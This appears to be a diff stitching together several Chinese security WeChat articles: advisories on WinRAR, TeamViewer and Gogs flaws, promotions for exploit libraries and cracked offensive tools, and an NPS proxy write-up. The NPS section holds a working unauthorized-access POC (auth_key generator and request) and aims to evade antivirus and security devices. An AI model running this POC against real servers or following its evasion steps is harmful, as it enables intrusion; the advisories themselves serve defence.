：默认每 30 分钟更新高危漏洞情报（可在设置中关闭）。
|
||||
|
||||
- **智能配置**
|
||||
：首次启动自动填充 GitHub Token 和 ThreatBook Cookie，支持热更新。
|
||||
|
||||
- **代理兼容**
|
||||
：一键配置代理，100% 适配企业网络环境。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
###
|
||||
|
||||
0x03更新说明
|
||||
```
|
||||
添加漏洞搜索功能
|
||||
```
|
||||
|
||||
|
||||
0x04 使用介绍
|
||||
|
||||
📦
|
||||
Windows / macOS 双平台正式打包开箱即用
|
||||
|
||||
|
||||
##
|
||||
##
|
||||
|
||||
|
||||
**0x05 内部VIP星球介绍-V1.4（福利）**
|
||||
|
||||
如果你想学习更多**渗透测试技术/应急溯源/免杀/挖洞赚取漏洞赏金/红队打点**
|
||||
欢迎加入我们**内部星球**
|
||||
可获得内部工具字典和享受内部资源和
|
||||
内部交流群，**每1-2天更新1day/0day漏洞刷分上分****(2025POC更新至4000+)**
|
||||
**，**
|
||||
包含网上一些**付费****工具及BurpSuite自动化漏****洞探测插件，AI代审工具等等**
|
||||
。shadon\Quake\
|
||||
Fofa高级会员，CTFShow等各种账号会员共享。详情直接点击下方链接进入了解，觉得价格高的师傅可后台回复"
|
||||
**星球**
|
||||
"有优惠券名额有限先到先得！全网资源
|
||||
最新
|
||||
最丰富！**（🤙截止目前已有1800+多位师傅选择加入❗️早加入早享受）**
|
||||
|
||||
**星球漏洞库(获取最新漏洞POC/EXP)🔄**
|
||||
|
||||
|
||||
|
||||
****
|
||||
|
||||
**👉****点击了解加入-->>内部VIP知识星球福利介绍V1.4版本-1day/0day漏洞库及内部资源更新**
|
||||
|
||||
****
|
||||
|
||||
|
||||
结尾
|
||||
|
||||
# 免责声明
|
||||
|
||||
|
||||
# 获取方法
|
||||
|
||||
|
||||
**公众号回复20250626获取下载**
|
||||
|
||||
# 最后必看-免责声明
|
||||
|
||||
|
||||
|
||||
文章中的案例或工具仅面向合法授权的企业安全建设行为，如您需要测试内容的可用性，请自行搭建靶机环境，勿用于非法行为。如
|
||||
用于其他用途，由使用者承担全部法律及连带责任，与作者和本公众号无关。
|
||||
本项目所有收录的poc均为漏洞的理论判断，不存在漏洞利用过程，不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。
|
||||
如您在使用本工具或阅读文章的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。本工具或文章或来源于网络，若有侵权请联系作者删除，请在24小时内删除，请勿用于商业行为，自行查验是否具有后门，切勿相信软件内的广告！
|
||||
|
||||
|
||||
|
||||
# 往期推荐
|
||||
|
||||
|
||||
**1.内部VIP知识星球福利介绍V1.4（AI自动化工具）**
|
||||
|
||||
**2.CS4.8-CobaltStrike4.8汉化+插件版**
|
||||
|
||||
**3.最新BurpSuite2025.2.1专业版（新增AI模块）**
|
||||
|
||||
**4. 最新xray1.9.11高级版下载Windows/Linux**
|
||||
|
||||
**5. 最新HCL AppScan Standard**
|
||||
|
||||
|
||||
渗透安全HackTwo
|
||||
|
||||
微信号：关注公众号获取
|
||||
|
||||
后台回复星球加入：
|
||||
知识星球
|
||||
|
||||
扫码关注 了解更多
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
[全面资产收集流程及方法解析 万字长文窥探信息收集|挖洞技巧](https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247491574&idx=1&sn=48d865c82a228bd135a035419c765e94&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
@@ -0,0 +1,94 @@
|
||||
# WinRAR目录遍历漏洞允许通过恶意文件执行任意代码
|
||||
FreeBuf 2025-06-25 11:01
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**Part01**
|
||||
### 漏洞概述
|
||||
|
||||
|
||||
1. WinRAR软件中存在一个高危漏洞（CVE-2025-6218），攻击者可利用该软件处理压缩包内文件路径的方式执行任意代码
|
||||
|
||||
|
||||
2. 该漏洞允许攻击者使用特制的包含目录遍历序列的压缩文件，最终实现远程代码执行
|
||||
|
||||
|
||||
3. 漏洞利用需要用户交互，如下载或打开恶意压缩包，或访问被攻陷的网页
|
||||
|
||||
|
||||
4. RARLAB已发布安全更新，用户应立即升级至最新版本以保护系统安全
|
||||
|
||||
|
||||
**Part02**
|
||||
### 漏洞详情
|
||||
###
|
||||
|
||||
RARLAB公司的WinRAR压缩软件中发现了一个严重安全漏洞，远程攻击者可通过恶意压缩文件执行任意代码。该漏洞编号为CVE-2025-6218，CVSS评分为7.8分，影响这款广泛使用的文件压缩工具处理压缩包内目录路径的方式。
|
||||
|
||||
|
||||
远程代码执行漏洞
|
||||
|
||||
|
||||
该目录遍历漏洞被正式记录为ZDI-25-409，对全球WinRAR用户构成重大安全风险。这个远程代码执行（RCE）漏洞允许攻击者在当前用户权限下执行恶意代码，但需要用户交互才能成功利用。
|
||||
|
||||
|
||||
漏洞的CVSS向量字符串AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H表明，在机密性、完整性和可用性方面都具有高度影响。漏洞利用机制主要基于压缩包内特制的文件路径，这些路径可能导致WinRAR进程遍历到非预期的目录。
|
||||
|
||||
|
||||
这种路径遍历攻击绕过了正常的安全边界，使攻击者能够将文件写入预期解压目录之外的位置。此类漏洞尤其危险，因为与其他攻击技术结合使用时，可能导致系统完全被攻陷。
|
||||
|
||||
|
||||
**Part03**
|
||||
### 技术分析
|
||||
|
||||
|
||||
技术分析显示，该漏洞存在于WinRAR处理压缩包文件的路径处理例程中。发现并报告该漏洞的安全研究员whs3-detonator确认，包含恶意目录路径的特制压缩文件可以操控解压过程。攻击需要目标用户访问恶意网页或打开恶意压缩文件，因此容易受到社会工程攻击。
|
||||
|
||||
|
||||
技术利用手段基于嵌入在压缩文件结构中的目录遍历序列。这些序列可能包含"../"等相对路径指示符，使攻击者能够导航到预期解压目录之外的位置。一旦成功，该漏洞便能在运行WinRAR的用户权限下执行任意代码。
|
||||
|
||||
|
||||
**Part04**
|
||||
### 风险因素
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**Part05**
|
||||
### 缓解措施
|
||||
|
||||
|
||||
RARLAB已迅速响应这一关键安全问题，发布了WinRAR更新版本。建议用户升级至WinRAR 7.11版本，该版本具有更快的速度、改进的可用性和新的自定义选项。
|
||||
|
||||
|
||||
厂商已发布有关安全更新的详细信息，强调应用此补丁以防止潜在利用的重要性。由于该漏洞的高严重性评级以及针对系统的远程代码执行攻击可能性，各组织应优先考虑此更新。
|
||||
|
||||
|
||||
**参考来源：**
|
||||
|
||||
WinRAR Directory Vulnerability Allows Arbitrary Code Execution Using a Malicious File
|
||||
|
||||
https://cybersecuritynews.com/winrar-vulnerability/
|
||||
|
||||
|
||||
###
|
||||
###
|
||||
###
|
||||
|
||||
**推荐阅读**
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651323665&idx=1&sn=15875d40f858538184006215073544fb&scene=21#wechat_redirect)
|
||||
|
||||
### 电台讨论
|
||||
|
||||
****
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,183 @@
|
||||
# nps之Socks流量分析以及未授权复现
|
||||
Ggoodstudy 蚁景网络安全 2025-06-25 09:36
|
||||
|
||||
##### 前言
|
||||
|
||||
因为想要写一个socks的流量算法去绕过安全设备，所以这里对nps的流量特征总结一下，方便自己后期的魔改。
|
||||
##### 环境
|
||||
> ubuntu 16.04 vps server
|
||||
> windows server 2012R2 clinet
|
||||
|
||||
```
|
||||
mkdir npscd npswget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gztar -zxvf linux_amd64_server.tar.gz./nps install
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
cd /etc/nps/conf/vim nps.conf
|
||||
```
|
||||
|
||||
配置文件
|
||||
```
|
||||
#webweb_host=a.o.comweb_username=xxxx //管理端用户名web_password=xxxxxx //管理端密码web_port = xxxxx //管理端端口web_ip=0.0.0.0web_base_url=web_open_ssl=falseweb_cert_file=conf/server.pemweb_key_file=conf/server.key#web_base_url=/nps
|
||||
```
|
||||
|
||||
|
||||
|
||||
```
|
||||
##bridgebridge_type=tcp //客户端连接协议tcpbridge_port=xxxx //客户端连接端口bridge_ip=0.0.0.0
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
bridge_port
|
||||
的默认端口默认为8024
|
||||
，这里不建议改为默认的，连接客户端的时候可能会触发安全设备规则
|
||||
##### NPS未授权复现
|
||||
|
||||
POC
|
||||
```
|
||||
#encoding=utf-8import timeimport hashlibnow = time.time()m = hashlib.md5()m.update(str(int(now)).encode("utf8"))auth_key = m.hexdigest()print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now))
|
||||
```
|
||||
|
||||
直接访问
|
||||
> http://vps:port?payload
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
exp请求接口
|
||||
```
|
||||
POST /client/list HTTP/1.1Host: vps:portUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestContent-Length: 98Origin: http://vps:portConnection: closeReferer: http://vps:port/client/listsearch=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4×tamp=1659948547
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
参考链接：
|
||||
> https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA
|
||||
|
||||
##### 修复措施
|
||||
|
||||
vim /etc/nps/conf/nps.conf取消注释
|
||||
auth_key,添加
|
||||
auth_crypt_key`注释
|
||||
> auth_key=test #auth_crypt_key =!QAZ4rfv%TGB^YHN
|
||||
|
||||
|
||||
修改为
|
||||
> auth_key=test #auth_crypt_key =!QAZ4rfv%TGB^YHN
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
目前最新版本的也存在改配置不当问题，这里需要修改配置，修复之后是无法通过未授权读取内容信息的。
|
||||
##### socks流量分析
|
||||
> nps start
|
||||
|
||||
|
||||
访问http://vps:port/login
|
||||
|
||||
|
||||
|
||||
新增客户端
|
||||
|
||||
|
||||
|
||||
|
||||
这里用户名和密码随意，这里是客户端登录的认证用户名，在客户端连接的时候是根据密钥
|
||||
来实现的。
|
||||
|
||||
|
||||
|
||||
|
||||
客户端选择windwos server 2012R2
|
||||
|
||||
修改客户端配置文件
|
||||
```
|
||||
[common]server_addr=vps:portconn_type=tcpvkey=xxxxauto_reconnection=truemax_conn=1000flow_limit=1000rate_limit=1000basic_username=11basic_password=3web_username=xxxx web_password=xxxxxcrypt=truecompress=true#pprof_addr=0.0.0.0:9999disconnect_timeout=60
|
||||
```
|
||||
|
||||
客户端启动
|
||||
> npc.exe -server=vps:port -vkey=xxxxx -type=tcp
|
||||
|
||||
|
||||
正常情况下会报毒，所以这里针对杀软这一块儿，客户端需要做一下免杀处理。
|
||||
|
||||
|
||||
|
||||
|
||||
查看连接状态
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
使用goby
|
||||
测试socks5
|
||||
|
||||
|
||||
|
||||
|
||||
测试代理
|
||||
|
||||
|
||||
|
||||
|
||||
已成功实现内网穿透。
|
||||
|
||||
这里使用wireshark
|
||||
抓取流量包，
|
||||
|
||||
初始流量服务器向客户端发送TST
|
||||
|
||||
|
||||
|
||||
|
||||
同时客户端向服务端确认版本，同时返回客户端版本0.26.0
|
||||
|
||||
|
||||
|
||||
代码位置nps/lib/version/version.go
|
||||
|
||||
|
||||
|
||||
|
||||
服务端接收到请求后，客户端请求的数据内容为nps的版本为0.26.10
|
||||
|
||||
|
||||
|
||||
|
||||
服务端接收到请求后返回给客户端服务端版本的md5值，即
|
||||
> md5(0.26.0)=89a4f3fc3c89257d6f712de6964bda8e
|
||||
|
||||
|
||||
可以发现在产生nps
|
||||
客户端连接的时候,会产生数据校验，这里数据校验就是有服务器到
|
||||
|
||||
|
||||
|
||||
|
||||
这是客户端传输给服务端密钥连接
|
||||
> md5(vkey)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
服务端在接收到客户端的请求后校验数据后返回success
|
||||
|
||||
|
||||
|
||||
|
||||
这里客户端和服务端的连接流量就比较清晰了，那么想要bypass安全设备的告警，在修改加密方式和修改版本关键字即可，因为在做流量隐藏的时候跟bypassav不一样，不会考虑文件的哈希以及文件在沙箱中的落地状态。
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzkxNTIwNTkyNg==&mid=2247549615&idx=1&sn=5de0fec4a85adc4c45c6864eec2c5c56&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
@@ -0,0 +1,77 @@
|
||||
# 【免费领】社会工程权威资料：解密安全体系中的人性漏洞
|
||||
蚁景网络安全 2025-06-25 09:36
|
||||
|
||||
|
||||
|
||||
点击蓝字/关注我们
|
||||
|
||||
|
||||
|
||||
今日福利
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
著名安全专家解密社会工程权威著作
|
||||
|
||||
从攻击者视角详解社会工程的所有方面
|
||||
|
||||
（包括诱导、伪装、心理和人际操纵等）
|
||||
|
||||
通过真实故事和案例，探讨社会工程奥秘
|
||||
|
||||
限时福利，请及时领取哦 ~
|
||||
|
||||
|
||||
|
||||
**该资料内容较多，无法列出全部目录，以下为节选的部分目录：**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
长按识别下方二维码
|
||||
，
|
||||
回复
|
||||
**“0625”**
|
||||
，
|
||||
**免费领取**
|
||||
~
|
||||
|
||||
（限7日内领取）
|
||||
|
||||
【请注意：
|
||||
不要直接
|
||||
回复
|
||||
公众号
|
||||
哦
|
||||
~
|
||||
】
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**免责声明**
|
||||
|
||||
所有资料均来源于网络分享，仅限用于个人学习交流，禁止任何违法操作和非法用途！由使用者产生的任何责任，与作者和本平台无关！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
点击“
|
||||
阅读原文
|
||||
”，获取更多学习资源！
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,116 @@
|
||||
# 【安全圈】TeamViewer 高危漏洞通报（CVE-2025-36537）
|
||||
安全圈 2025-06-25 11:00
|
||||
|
||||
|
||||
|
||||
|
||||
**关键词**
|
||||
|
||||
|
||||
|
||||
安全漏洞
|
||||
|
||||
|
||||
|
||||
|
||||
2025 年 6 月 24 日，TeamViewer 官方披露其 Windows 平台存在一处高危本地权限提升漏洞（CVE-2025-36537），漏洞评分为 7.0（高），攻击者可通过系统中的普通用户权限，删除任意文件，进而实现权限提升或破坏系统完整性。
|
||||
|
||||
该漏洞影响启用了 Remote Management 功能（如备份、监控、补丁管理）的 TeamViewer 安装，普通版本不受影响。TeamViewer 已发布 15.67 版本进行修复，建议相关用户尽快升级。
|
||||
## 漏洞要点
|
||||
##
|
||||
|
||||
该漏洞属于“关键资源权限分配不当”（CWE-732）问题，影响 TeamViewer Remote 和 TeamViewer Tensor 产品中包含 Remote Management 功能的 Windows 安装。攻击者可利用 MSI 安装回滚机制，在无用户交互的前提下，以 SYSTEM 权限删除任意文件，从而造成权限提升或系统组件破坏。
|
||||
|
||||
该漏洞的 CVSS 向量为：
|
||||
```
|
||||
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
```
|
||||
|
||||
表示攻击者需本地访问权限，攻击路径复杂度较高，但一旦成功，将严重影响系统的机密性、完整性和可用性。
|
||||
## 受影响范围
|
||||
|
||||
本次漏洞影响的版本包括：
|
||||
- TeamViewer Remote Full 和 Host 客户端（Windows）15.67 之前版本；
|
||||
|
||||
- Windows 7/8 平台下 15.64.5 之前版本；
|
||||
|
||||
- 历史版本如 11.x、12.x、13.x、14.x 也存在同样问题。
|
||||
|
||||
需特别注意的是，只有启用了 Remote Management 相关组件的系统（如 Patch Management）会受到影响，普通仅用于远程桌面的 TeamViewer 安装不在影响范围内。
|
||||
## 风险分析
|
||||
##
|
||||
|
||||
攻击者一旦取得系统中普通用户权限（如通过钓鱼邮件、浏览器漏洞、供应链感染等方式），可利用该漏洞删除关键文件，包括安全防护软件、系统驱动或访问控制策略，从而实现进一步提权、持久化植入，或造成服务瘫痪。由于该漏洞不需用户交互，具备一定的自动化利用价值，对企业多用户终端环境和内网环境具有较大安全隐患。
|
||||
|
||||
目前尚无在野利用报告，但随着漏洞细节公开，潜在风险显著上升。
|
||||
## 官方修复建议
|
||||
##
|
||||
|
||||
TeamViewer 已发布 15.67 版本修复漏洞，建议所有启用 Remote Management 功能的组织立即执行以下措施：
|
||||
1. 检查当前版本，升级至 TeamViewer 15.67 或以上；
|
||||
|
||||
1. 对暂不能更新的终端，临时禁用 Backup、Monitoring、Patch Management 功能；
|
||||
|
||||
1. 加强本地文件保护机制，避免非授权删除关键目录；
|
||||
|
||||
1. 加强终端威胁检测，关注 TeamViewer 程序行为异常；
|
||||
|
||||
1. 限制普通用户对系统关键路径的写入和删除权限。
|
||||
|
||||
##
|
||||
## 漏洞来源与披露
|
||||
##
|
||||
|
||||
该漏洞由安全研究员 Giuliano Sanfins（0x_alibabas）发现并向 TeamViewer 及 Trend Micro ZDI 计划负责披露，目前已完成修复流程。
|
||||
|
||||
|
||||
END
|
||||
|
||||
|
||||
阅读推荐
|
||||
|
||||
|
||||
[【安全圈】#QQ崩了#客服回应已恢复](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070323&idx=1&sn=23255811e6a26d4f9fee9dfff2372820&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】美众议院：WhatsApp存严重安全漏洞，禁止在办公设备使用](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070323&idx=2&sn=7af7cb53b8b7e4a1d4806a0720c6613b&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】美空袭伊朗核设施后网络威胁升级](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070323&idx=3&sn=aac658606742a9fccc7b1ff6f6613d80&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】71% 的新员工会在 3 个月内点击钓鱼邮件](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070323&idx=4&sn=fef70d04a8f2be0d88ce8a20a0d551f3&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**安全圈**
|
||||
|
||||
|
||||
|
||||
|
||||
←扫码关注我们
|
||||
|
||||
**网罗圈内热点 专注网络安全**
|
||||
|
||||
**实时资讯一手掌握！**
|
||||
|
||||
|
||||
|
||||
|
||||
**好看你就分享 有用就点个赞**
|
||||
|
||||
**支持「****安全圈」就点个三连吧！**
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,119 @@
|
||||
# 【已复现】Gogs 远程命令执行漏洞
|
||||
长亭安全应急响应中心 2025-06-25 15:11
|
||||
|
||||
|
||||
|
||||
|
||||
Gogs (Go Git Service) 是一款基于 Go 语言开发的开源 Git 托管平台，采用 MIT 许可证，提供代码托管、Issue 跟踪、权限管理和 Webhook 等功能。
|
||||
|
||||
|
||||
2025年6月，
|
||||
Gogs发布
|
||||
新版本，修复了一处命令注入漏洞。拥有用户权限的攻击者利用成功后可执行任意系统命令，
|
||||
经长亭科技安全研究员初步验证，
|
||||
此漏洞仅影响类Linux系统，
|
||||
Windows环境下的Gogs不受此漏洞影响，建议受影响的用户尽快修复。
|
||||
|
||||
|
||||
|
||||
**漏洞描述**
|
||||
|
||||
|
||||
Description
|
||||
|
||||
|
||||
|
||||
|
||||
**0****1**
|
||||
|
||||
**漏洞成因**
|
||||
|
||||
攻击者可通过符号链接绕过
|
||||
CVE-2024-39931漏洞的修复
|
||||
补丁，删除.git目录下的文件，覆写相关敏感配置，并实现远程命令执行，控制服务器。
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
攻击者可在服务器上执行任意系统命令，可能导致服务器被完全控制、数据泄露或业务系统沦陷。
|
||||
|
||||
|
||||
**处置优先级：高**
|
||||
|
||||
漏洞类型：
|
||||
命令注入
|
||||
|
||||
**漏洞危害等级：**
|
||||
高
|
||||
|
||||
**触发方式：**
|
||||
网络远程
|
||||
|
||||
**权限认证要求：**
|
||||
需要权限
|
||||
|
||||
**系统配置要求：**
|
||||
默认配置
|
||||
|
||||
**用户交互要求：**
|
||||
无需用户交互
|
||||
|
||||
**利用成熟度：**
|
||||
POC/EXP 未公开
|
||||
|
||||
**修复复杂度：**
|
||||
低，
|
||||
官方提供版本升级修复方案
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**影响版本**
|
||||
|
||||
|
||||
Affects
|
||||
|
||||
|
||||
|
||||
|
||||
**02**
|
||||
```
|
||||
```
|
||||
|
||||
**解决方案**
|
||||
|
||||
|
||||
Solution
|
||||
|
||||
|
||||
|
||||
|
||||
**03**
|
||||
|
||||
##
|
||||
|
||||
## 临时缓解方案禁用用户注册功能，在 Gogs 的配置文件 app.ini 中关闭用户注册功能，防止攻击者通过注册恶意账户进行利用：[auth]DISABLE_REGISTRATION = true生效方式：修改后需重启 Gogs 服务。
|
||||
|
||||
## 升级修复方案官方已发布安全修复版本，建议升级到 0.13.3 或更高版本，下载地址：https://github.com/gogs/gogs/releases/tag/v0.13.3漏洞复现Reproduction 04参考资料：[1].https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7
|
||||
|
||||
|
||||
**长亭应急响应服务**
|
||||
|
||||
|
||||
|
||||
|
||||
全力进行产品升级
|
||||
|
||||
及时将风险提示预案发送给客户
|
||||
|
||||
检测业务是否受到此次漏洞影响
|
||||
|
||||
请联系长亭应急服务团队
|
||||
|
||||
7*24小时，守护您的安全
|
||||
|
||||
|
||||
第一时间找到我们：
|
||||
|
||||
邮箱：support@chaitin.com
|
||||
|
||||
@@ -0,0 +1,174 @@
|
||||
# 【已复现】Gogs 远程命令注入漏洞(CVE-2024-56731)
|
||||
原创 360漏洞研究院 360漏洞研究院 2025-06-25 13:16
|
||||
|
||||
|
||||
|
||||
|
||||
<table><tbody><tr style="box-sizing: border-box;"><td colspan="4" data-colwidth="100.0000%" width="100.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;background-color: rgb(100, 130, 228);box-sizing: border-box;padding: 0px;"><section style="text-align: center;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞概述</span></strong></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="25.0000%" width="25.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞名称</span></strong></p></section></td><td colspan="3" data-colwidth="75.0000%" width="75.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">Gogs 远程命令注入漏洞</span></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="25.0000%" width="25.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞编号</span></strong></p></section></td><td colspan="3" data-colwidth="75.0000%" width="75.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">CVE-2024-56731</span></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="25.0000%" width="25.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">公开时间</span></strong></p></section></td><td data-colwidth="25.0000%" width="25.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2025-6-24</span></p></section></td><td data-colwidth="25.0000%" width="25.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="color: rgb(0, 0, 0);box-sizing: border-box;"><span leaf="">CVSS 3.1</span></span></strong></p></section></td><td data-colwidth="25.0000%" width="25.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">9.9</span></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="25.0000%" width="25.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞类型</span></strong></p></section></td><td data-colwidth="25.0000%" width="25.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">命令注入</span></p></section></td><td data-colwidth="25.0000%" width="25.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8Line truncated
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
影响组件
|
||||
|
||||
|
||||
|
||||
**Gogs**
|
||||
是使用 **Go**
|
||||
语言开发的轻量级自托管 **Git**
|
||||
服务，支持私有化部署，可在低资源设备上运行，提供类 GitHub 的仓库管理、Webhook等功能。
|
||||
|
||||
|
||||
**02**
|
||||
|
||||
**漏洞描述**
|
||||
|
||||
|
||||
|
||||
近日，**Gogs**
|
||||
被披露存在一处命令注入漏洞，该漏洞是由于对 **CVE-2024-39931**
|
||||
漏洞的修复中对 .git 目录的路径进行了检查，但仍然有可能通过符号链接的方式绕过检查从而修改配置文件，非特权用户账户可以使用配置中由**RUN_USER**
|
||||
指定的账户权限，在 Gogs 实例上**执行任意命令**
|
||||
。官方已经在新版本中修复此漏洞，建议受影响用户及时升级到安全版本。
|
||||
|
||||
|
||||
**03**
|
||||
|
||||
**漏洞复现******
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**漏洞影响范围******
|
||||
|
||||
|
||||
|
||||
Gogs < 0.13.3
|
||||
|
||||
|
||||
**05**
|
||||
|
||||
**网络空间测绘数据**
|
||||
|
||||
|
||||
|
||||
360测绘云 Quake通过对全网资产测绘，发现Gogs具体分布如下所示。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**06**
|
||||
|
||||
**修复建议******
|
||||
|
||||
|
||||
|
||||
**正式防护方案**
|
||||
|
||||
针对此漏洞，官方已经发布了漏洞修复版本，请立即更新到安全版本：
|
||||
|
||||
Gogs >= 0.13.3
|
||||
|
||||
下载链接：
|
||||
|
||||
https://github.com/gogs/gogs/releases/tag/v0.13.3
|
||||
|
||||
安装前，请确保备份所有关键数据，并按照官方指南进行操作。安装后，进行全面测试以验证漏洞已被彻底修复，并确保系统其他功能正常运行。
|
||||
|
||||
|
||||
**临时缓解措施**
|
||||
|
||||
**1. 关闭开放注册**
|
||||
|
||||
修改 custom/conf/app.ini 文件，设置：
|
||||
|
||||
[service]
|
||||
|
||||
DISABLE_REGISTRATION = true ; 禁止公开注册
|
||||
|
||||
此后仅管理员可在后台手动添加用户
|
||||
|
||||
**2. 限制注册域/IP**
|
||||
|
||||
若需部分开放注册，可设置白名单
|
||||
|
||||
[security]
|
||||
|
||||
ALLOW_ONLY_EXTERNAL_REGISTRATION = true ; 仅允许特定来源注册
|
||||
|
||||
REGISTRATION_WHITELIST_DOMAINS = example.com ; 限制邮箱域名
|
||||
|
||||
**3. 私有仓库强制化**
|
||||
|
||||
在 app.ini 中设置所有新仓库默认私有：
|
||||
|
||||
[repository]
|
||||
|
||||
